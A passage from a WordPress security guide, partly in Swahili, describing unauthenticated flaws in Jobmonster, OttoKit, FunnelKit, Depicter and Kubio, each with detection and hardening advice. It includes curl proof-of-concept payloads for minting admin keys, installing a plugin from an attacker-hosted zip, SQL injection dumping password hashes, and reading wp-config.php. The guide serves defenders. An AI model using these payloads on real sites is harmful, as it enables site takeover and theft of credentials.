• HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
• Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

• Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
• Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.

Detection checklist

• Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=.
• 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.

Hardening

• Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
• Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
• Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
• Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.

Patched behaviour (Jobmonster 4.8.0)

• Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).

Kupandishwa kwa ruhusa bila uthibitisho via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

Baadhi ya plugins huweka wazi REST endpoints zinazotengeneza reusable "connection keys" au tokens bila kuthibitisha uwezo wa mtaarifu. Ikiwa route inafanya authentication kwa sifa inayoweza kubahatishwa tu (mfano, username) na haitoi ufunganaji wa key kwa user/session kwa checks za capability, mshambuliaji asiyeuthibitisha anaweza kutengeneza key na kuiita kwa hatua zenye ruhusa (admin account creation, plugin actions → RCE).

• Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
• Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
• Impact: full takeover by chaining the minted key to internal privileged actions

PoC – mint a connection key and use it

# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Kwa nini inaweza kutumiwa

• Sensitive REST route ilindwa tu na ushahidi wa utambulisho wenye entropy ndogo (username) au kukosekana kwa permission_callback
• Hakuna utekelezaji wa capability; minted key inakubaliwa kama njia ya kupita bila vizuizi

Detection checklist

• Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ])
• Route yoyote inayotoa tokens/keys kwa msingi wa identity iliyotolewa na ombi (username/email) bila kuihusisha na authenticated user au capability
• Tafuta routes zinazofuata zinazokubali minted token/key bila ukaguzi wa capability upande wa server

Hardening

• Kwa route yoyote ya REST yenye mamlaka: weka permission_callback inayotekeleza current_user_can() kwa capability inayohitajika
• Usitengeneze (mint) long-lived keys kutoka kwa identity iliyotolewa na client; kama inahitajika, toa short-lived, user-bound tokens post-authentication na rudia ukaguzi wa capabilities wakati zinapotumika
• Thibitisha muktadha wa user wa mtumaji (wp_set_current_user is not sufficient alone) na kata maombi ambapo !is_user_logged_in() || !current_user_can()

Nonce gate misuse → ufungaji wa plugin kiholela bila uthibitisho (FunnelKit Automations ≤ 3.5.3)

Nonces huzuia CSRF, sio idhini. Ikiwa code itashughulikia kupitishwa kwa nonce kama ishara ya kuendelea kisha ikaruka ukaguzi wa capability kwa operesheni zenye mamlaka (mf., install/activate plugins), washambuliaji wasiothibitishwa wanaweza kukidhi hitaji dhaifu la nonce na kufikia RCE kwa kusakinisha plugin iliyo na backdoor au yenye udhaifu.

• Vulnerable path: plugin/install_and_activate
• Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
• Impact: full compromise via arbitrary plugin install/activation

PoC (muundo unategemea plugin; mfano tu)

curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

• REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
• Any code path that sets $skip_caps = true after nonce validation

Hardening

• Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
• Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
• Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows

SQLi isiyothibitishwa kupitia parameta s (search) katika depicter-* actions (Depicter Slider ≤ 3.6.1)

Actions nyingi za depicter-* zilitumia parameta s (search) na kuiiunganisha katika SQL queries bila parameterization.

• Parameter: s (search)
• Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
• Impact: database exfiltration (users, hashes), lateral movement

PoC

# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Orodha ya ugunduzi

• Tumia grep kutafuta depicter-* action handlers na matumizi ya moja kwa moja ya $_GET['s'] au $_POST['s'] katika SQL
• Pitia custom queries zinazopitishwa kwa $wpdb->get_results()/query() zinazochanganya s

Kuimarisha

• Daima tumia $wpdb->prepare() au wpdb placeholders; kataza metacharacters zisizotarajiwa upande wa server
• Ongeza strict allowlist kwa s na normaliza kwa charset/urefu unaotarajiwa

Unauthenticated Local File Inclusion kupitia njia ya template/file isiyotathminiwa (Kubio AI Page Builder ≤ 2.5.1)

Kukubali attacker-controlled paths katika kigezo cha template bila normalization/containment kunaruhusu kusoma faili za ndani kwa hiari, na wakati mwingine code execution ikiwa faili za PHP/log zinazoweza kuingizwa zinachukuliwa wakati wa runtime.

• Kigezo: __kubio-site-edit-iframe-classic-template
• Hitilafu: hakuna normalization/allowlisting; traversal inaruhusiwa
• Athari: ufichaji wa siri (wp-config.php), uwezekano wa RCE katika mazingira maalum (log poisoning, includable PHP)

PoC – soma wp-config.php

curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Detection checklist

• Handler yoyote anayechanganya request paths katika include()/require()/read sinks bila realpath() containment
• Angalia traversal patterns (../) zinazofikia nje ya intended templates directory

Hardening

• Hakikisha allowlisted templates; tatua kwa realpath() na require str_starts_with(realpath(file), realpath(allowed_base))
• Normalize input; kataa traversal sequences na absolute paths; tumia sanitize_file_name() tu kwa filenames (si full paths)

Marejeleo

• Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
• Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
• Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
• ASE 7.6.3 changeset – delete original roles on profile update
• Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
• WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
• Hackers exploiting critical WordPress WooCommerce Payments bug
• Unpatched Privilege Escalation in Service Finder Bookings Plugin
• Service Finder Bookings privilege escalation – Patchstack DB entry
• Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
• Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
• OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
• FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
• Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
• Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)